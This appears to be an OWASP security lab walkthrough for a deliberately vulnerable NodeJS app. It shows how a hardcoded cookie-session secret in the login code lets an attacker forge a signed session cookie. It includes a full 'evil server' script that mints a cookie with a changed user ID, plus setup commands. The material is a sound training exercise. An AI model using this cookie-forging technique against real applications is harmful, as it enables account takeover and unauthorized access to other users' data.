NodeJS - Auth Bypass

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:js-auth-bypass

$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:js-auth-bypass

Now that the app is running let's go hacking!

Reconnaissance

Let's login with admin/admin.

Once we login we see an API key.

Let's have a look at the source code:

app.all("/login", (req, res) => {
  const sql = "SELECT * FROM users WHERE username = ? AND password = ?";
  const api = "SELECT * FROM preferences WHERE UserId = ?";
  if (req.method === "POST") {
    db.get(sql, [req.body.username, req.body.password], (err, row) => {
      if (row) {
        req.session.userId = row.UserId;
        req.session.secret = "e5ac-4ebf-03e5-9e29-a3f562e10b22";
        req.session.loggedIn = true;
        db.get(api, [req.session.userId], (err, row) => {
          res.render("home.ejs", { api: row.API_key });
        });
      } else {
        res.render("index.ejs");
      }
    });
  } else {
    db.get(api, [req.session.userId], (err, row) => {
      res.render("home.ejs", { api: row.API_key });
    });
  }
});

We can see the cookie session secret is exposed, now we can try to recreate this application cookie implementation to be able to recreate a cookie to bypass the authentication.

Exploitation

We can start building our malicious server.

const cookieSession = require("cookie-session");
const express = require("express");
const cookieParser = require("cookie-parser");
const app = express();

app.use(express.static(__dirname));
app.use(cookieParser());
app.use(
  cookieSession({
    name: "session",
    keys: ["e5ac-4ebf-03e5-9e29-a3f562e10b22"],
    httpOnly: false,
    maxAge: 86400000,
  })
);

app.get("", (req, res) => {
  req.session.userId = 2; // CHANGED THE USER ID
  req.session.secret = "e5ac-4ebf-03e5-9e29-a3f562e10b22";
  req.session.loggedIn = true;
  res.render("evil.ejs");
});

const port = process.env.PORT || 1337;

app.listen(port, "0.0.0.0", () =>
  console.log(`Listening on port ${port}...!!!`)
);

Save the snippet above to > evil_server.js and run the commands below to install some dependencies. Of course you can also run your app on whatever service you want it does not have to be nodeJs express.

$ npm install express ejs cookie-session cookie-parser

Save the following snippet code into /views/evil.js

<p>The newly created cookie for doing the bypass:</p>
<script>
  alert(document.cookie);
</script>

We are ready to start our server:

$ node evil_server.js

Now we can replace our original cookie with the tampered cookie.

Refresh the page:

Additional sources

OWASP Top Ten 2017 | A5:2017-Broken Access Control | OWASP Foundation

WSTG - Latest | OWASP Foundation